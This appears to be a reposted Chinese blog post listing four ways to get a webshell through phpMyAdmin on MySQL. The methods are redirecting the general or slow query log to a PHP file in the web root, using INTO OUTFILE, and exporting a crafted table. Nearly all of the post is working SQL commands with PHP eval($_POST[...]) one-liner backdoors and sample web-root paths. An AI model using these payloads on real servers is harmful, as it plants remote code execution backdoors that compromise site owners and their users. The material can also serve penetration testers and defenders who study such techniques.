phpmyadmin常見的getshell的幾種方法


1、日志文件寫 shell

general_log 默認關閉,開啟它可以記錄用戶輸入的每條命令,會把其保存在對應的日志文件中。可以嘗試自定義日志文件,並向日志文件里面寫入內容的話,那么就可以成功 getshell:
# 查看當前配置
SHOW VARIABLES LIKE 'general%';

# 更改日志文件位置
set global general_log = "ON";
set global general_log_file='C:/phpStudy/WWW/zyx.php';

# 往日志里面寫入 payload
select '<?php phpinfo();?>';

 

2、在知道絕對路徑的情況下,利用INTO OUTFILE

select @@basedir;  查找絕對路徑

show global variables like '%secure_file_priv%';

NULL    不允許導入或導出
/tmp    只允許在 /tmp 目錄導入導出
空      不限制目錄

如果有權限
select '<?php @eval($_POST[a]);?>'INTO OUTFILE 'E:/phpstudy_pro/WWW/test.php'

 

 3、慢查詢寫入webshell

show variables like '%slow%'
set global slow_query_log=on;
set global slow_query_log_file='E:/phpstudy_pro/WWW/slow.php'
select '<?php @eval($_POST[shell]);?>' or sleep(10);

4、創建數據庫和表寫入webshell:
利用條件:Root數據庫用戶(root權限); 網站絕對路徑(確定有寫入權限); secure_file_priv沒有具體值。操作步驟:1)執行下面的sql語句,創建表並在表中寫入一句話木馬,在導出到網站的根路徑。
CREATE TABLE test( id text(500) not null);    

INSERT INTO test (id) VALUES('<?php @eval($_POST[cmd]);?>');    

SELECT id FROM test INTO OUTFILE 'C:/phpstudy/WWW/1.php'DROP TABLE IF EXISTS test;

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM